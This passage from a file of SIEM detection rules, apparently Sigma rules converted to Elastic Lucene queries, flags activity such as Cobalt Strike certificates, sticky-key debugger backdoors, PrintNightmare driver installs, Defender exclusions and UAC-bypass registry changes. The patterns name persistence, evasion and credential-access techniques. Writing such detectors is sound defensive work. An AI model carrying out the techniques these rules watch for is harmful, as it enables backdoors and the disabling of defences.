((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/./ OR process.command_line.text:/*/)))) AND (NOT (process.parent.executable.text:\"C:\\Program Files\\Amazon\\SSM\\ssm-document-worker.exe\"))) AND (NOT ((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND (process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/./ OR process.command_line.text:/*/) AND process.command_line.text:(*new\\ EventSource\$\\\"Microsoft.Windows.Sense.Client.Management\\\"* OR *public\\ static\\ extern\\ bool\\ InstallELAMCertificateInfo\\(SafeFileHandle\\ handle\$;*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "447a30c2-358c-a0ba-ceb1-51f91e273f95", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Linux Base64 Encoded Shebang In CLI", "query": "process.command_line.text:(*IyEvYmluL2Jhc2* OR *IyEvYmluL2Rhc2* OR *IyEvYmluL3pza* OR *IyEvYmluL2Zpc2* OR *IyEvYmluL3No*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1140"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1140", "name": "Deobfuscate/Decode Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the presence of a registry key created during Azorult execution", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d3d8adbf-ce6e-9e36-c7ef-556a31daf4b7", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Registry Entries For Azorult Malware", "query": "(winlog.event_id:(\"12\" OR \"13\") AND winlog.event_data.TargetObject:*SYSTEM\\\\* AND winlog.event_data.TargetObject:*\\\\services\\\\localNETService)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1112"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Trent Liffick"], "license": ""}
{"description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "a39f8e7a-d378-60ab-9005-6ee3182ac3b8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Default Cobalt Strike Certificate", "query": "(event.dataset:\"x509\" AND x509.certificate.serial.text:\"8BB00EE\")", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects the process injection of a LittleCorporal generated Maldoc.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fea59c22-a186-ebb8-ebb0-e4ec612548a5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "LittleCorporal Generated Maldoc Injection", "query": "(process.executable:*\\\\winword.exe AND winlog.event_data.CallTrace:*\\:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v2.* AND winlog.event_data.CallTrace:*UNKNOWN*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1055", "T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c816e058-8977-3f7e-3448-ff78afd254ad", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Restore Public AWS RDS Instance", "query": "(eventSource:\"rds.amazonaws.com\" AND responseElements.publiclyAccessible:\"true\" AND eventName:\"RestoreDBInstanceFromDBSnapshot\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1020"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1020", "name": "Automated Exfiltration", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["faloker"], "license": ""}
{"description": "Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5bc2c402-eabf-a072-d46c-5c89297cb855", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cmd Stream Redirection", "query": "((process.executable:*\\\\cmd.exe AND process.command_line:*>\\ * AND process.command_line:*\\:*) AND (NOT (process.command_line:*\\:\\\\*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cff7a984-49a5-47a5-097a-501e26c4e32c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Debugger Registration Cmdline", "query": "(process.command_line:*\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\* AND process.command_line:(*sethc.exe* OR *utilman.exe* OR *osk.exe* OR *magnify.exe* OR *narrator.exe* OR *displayswitch.exe* OR *atbroker.exe*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community", "Jonhnathan Ribeiro"], "license": ""}
{"description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", "enabled": false, "false_positives": ["Legitimate use of VSSVC. Maybe backup operations. It would usually be done by C:\\Windows\\System32\\VSSVC.exe."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "34e6ef2b-e6e1-b110-1e9a-ac2f3278a331", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "VSSAudit Security Event Source Registration", "query": "(winlog.channel:\"Security\" AND Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND AuditSourceName:\"VSSAudit\" AND winlog.event_id:(\"4904\" OR \"4905\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Open Threat Research (OTR)"], "license": ""}
{"description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", "enabled": false, "false_positives": ["Legitimate remote alteration of a printer driver."], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "ee84058c-c02a-18fe-4c46-0961466f8f35", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Possible PrintNightmare Print Driver Install", "query": "(event.dataset:\"dce_rpc\" AND dce_rpc.operation.text:(\"RpcAsyncInstallPrinterDriverFromPackage\" OR \"RpcAsyncAddPrintProcessor\" OR \"RpcAddPrintProcessor\" OR \"RpcAddPrinterDriverEx\" OR \"RpcAddPrinterDriver\" OR \"RpcAsyncAddPrinterDriver\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron (Nate Guagenti)"], "license": ""}
{"description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a5e0c163-1d31-c22e-bf03-8331d2f251b9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Netsh Firewall Rule Deletion", "query": "((process.executable.text:*\\\\netsh.exe AND process.command_line.text:*firewall* AND process.command_line.text:*delete*) AND (NOT (process.parent.executable.text:*\\\\Dropbox.exe AND process.command_line.text:*name\\=Dropbox*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. Which could indicate an attacker trying to launch an encryption process", "enabled": false, "false_positives": ["Legitimate administrators removing applications (should always be monitored)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f81f2714-77df-e63c-7122-06da1a0e85df", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Removal Of Folder From ProtectedFolders In Exploit Guard", "query": "(winlog.event_data.EventType:\"DeleteValue\" AND winlog.event_data.TargetObject:*SOFTWARE\\\\Microsoft\\\\Windows\\ Defender\\\\Windows\\ Defender\\ Exploit\\ Guard\\\\Controlled\\ Folder\\ Access\\\\ProtectedFolders*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9707c250-eb4e-3db8-788c-f5534b2bb336", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Suspicious Computer Account Name Change CVE-2021-42287", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4781\" AND OldTargetUserName:*$*) AND (NOT (NewTargetUserName:*$*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the reporting of NTLMv1 being used between a client and server", "enabled": false, "false_positives": ["Environments that use NTLMv1"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fa0b0ff5-32d6-c785-044e-76af28a099eb", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "NTLMv1 Logon Between Client and Server", "query": "(winlog.channel:\"System\" AND Provider_Name:\"LsaSrv\" AND winlog.event_id:\"6038\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1550"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tim Shelton"], "license": ""}
{"description": "Detects the Setting of Windows Defender Exclusions", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d79ef5d-c700-1782-344b-f6feab9e130a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Defender Exclusions Added", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ Defender\\\\Exclusions*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the Setting of Windows Defender Exclusions", "enabled": false, "false_positives": ["Administrator actions"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d79ef5d-c700-1782-344b-f6feab9e130a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Defender Exclusions Added", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:\"5007\" AND NewValue:*\\\\Microsoft\\\\Windows\\ Defender\\\\Exclusions*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "736f4606-6cd7-6ab0-709b-1775484004a3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Shell Open Registry Keys Manipulation", "query": "(((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Classes\\\\ms\\-settings\\\\shell\\\\open\\\\command\\\\SymbolicLinkValue AND winlog.event_data.Details:*\\\\Software\\\\Classes\\\\\\{*) OR winlog.event_data.TargetObject:*Classes\\\\ms\\-settings\\\\shell\\\\open\\\\command\\\\DelegateExecute) OR ((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*Classes\\\\ms\\-settings\\\\shell\\\\open\\\\command\\\\\$Default\$ OR *Classes\\\\exefile\\\\shell\\\\open\\\\command\\\\\$Default\$)) AND (NOT (winlog.event_data.Details:\"\$Empty\$\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1546", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", "", " [Lokibot sample from Nov 2021]"], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ceba528c-bb11-7448-3e61-806edfd56cf6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious GrpConv Execution", "query": "process.command_line:(*grpconv.exe\\ \\-o* OR *grpconv\\ \\-o*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ceba528c-bb11-7448-3e61-806edfd56cf6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious GrpConv Execution", "query": "process.command_line:(*grpconv.exe\\ \\-o* OR *grpconv\\ \\-o*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .", "enabled": false, "false_positives": ["Unlikely, or pending PSP analysis"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ab791222-3b18-b5f3-3e45-bd4de1f9d65c", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection", "query": "(Filename:*C\\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\* AND (NOT (*File\\ submitted\\ to\\ Symantec*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Sittikorn S", "Nuttakorn T", "Tim Shelton"], "license": ""}
{"description": "Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet", "enabled": false, "false_positives": ["Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8cac7a53-05c2-8fb5-73f8-8996bb1eb5bd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Minimized MSEdge Start", "query": "process.command_line:*start\\ \\/min\\ msedge*", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the suspicious RUN keys created by software located in Download or temporary Outlook/Internet Explorer directories", "enabled": false, "false_positives": ["Software installers downloaded and used by users"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "22ff4486-d7e7-95d6-f2a9-0bb5863ac790", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Run Key from Download", "query": "(process.executable:(*\\\\Downloads\\\\* OR *\\\\Temporary\\ Internet\\ Files\\\\Content.Outlook\\\\* OR *\\\\Local\\ Settings\\\\Temporary\\ Internet\\ Files\\\\*) AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7ec91e45-63bd-6cf2-3804-0971949f8150", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Uninstall Sysinternals Sysmon", "query": "(process.executable:(*\\\\Sysmon64.exe OR *\\\\Sysmon.exe) AND process.command_line:*\\-u*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8c41f895-340c-752d-4875-0de4ef34b9bf", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Sticky Key Like Backdoor Usage", "query": "(process.parent.executable:*\\\\winlogon.exe AND process.executable:*\\\\cmd.exe AND process.command_line:(*sethc.exe* OR *utilman.exe* OR *osk.exe* OR *Magnify.exe* OR *Narrator.exe* OR *DisplaySwitch.exe*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "@twjackomo", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8c41f895-340c-752d-4875-0de4ef34b9bf", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Sticky Key Like Backdoor Usage", "query": "winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\sethc.exe\\\\Debugger OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\utilman.exe\\\\Debugger OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\osk.exe\\\\Debugger OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\Magnify.exe\\\\Debugger OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\Narrator.exe\\\\Debugger OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Image\\ File\\ Execution\\ Options\\\\DisplaySwitch.exe\\\\Debugger)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "@twjackomo", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger.", "author": ["xknow @xknow_infosec", "Tim Shelton"], "enabled": false, "false_positives": ["Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "85b0556c-eca8-829d-b67f-77c070968e2b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious ADSI-Cache Usage By Unknown Tool", "query": "((file.path.text:*\\\\Local\\\\Microsoft\\\\Windows\\\\SchCache\\\\* AND file.path.text:*.sch) AND (NOT ((process.executable.text:(\"C:\\windows\\system32\\svchost.exe\" OR \"C:\\windows\\system32\\dllhost.exe\" OR \"C:\\windows\\system32\\mmc.exe\" OR \"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" OR \"C:\\Windows\\CCM\\CcmExec.exe\" OR \"C:\\Program Files\\Cylance\\Desktop\\CylanceSvc.exe\" OR \"C:\\Windows\\System32\\wbem\\WmiPrvSE.exe\")) OR (process.executable.text:(C\\:\\\\Windows\\\\ccmsetup\\\\autoupgrade\\\\ccmsetup* OR C\\:\\\\Program\\ Files\\\\SentinelOne\\\\Sentinel\\ Agent*)) OR (process.executable.text:*\\\\LANDesk\\\\LDCLient\\\\ldapwhoami.exe) OR (process.executable.text:(\"C:\\Windows\\system32\\efsui.exe\" OR \"C:\\Windows\\system32\\dsac.exe\")) OR (process.executable.text:*\\:\\\\Program\\ Files\\\\Citrix\\\\Receiver\\ StoreFront\\\\Services\\\\DefaultDomainServices\\\\Citrix.DeliveryServices.DomainServices.ServiceHost.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1001"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", "enabled": false, "false_positives": ["Companies, who may use these default LDAP-Attributes for personal information"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a191ec04-6d7e-52cf-760e-5ad376032a2e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious LDAP-Attributes Used", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5136\" AND winlog.event_data.AttributeValue:* AND winlog.event_data.AttributeLDAPDisplayName:(\"primaryInternationalISDNNumber\" OR \"otherFacsimileTelephoneNumber\" OR \"primaryTelexNumber\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1001"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": 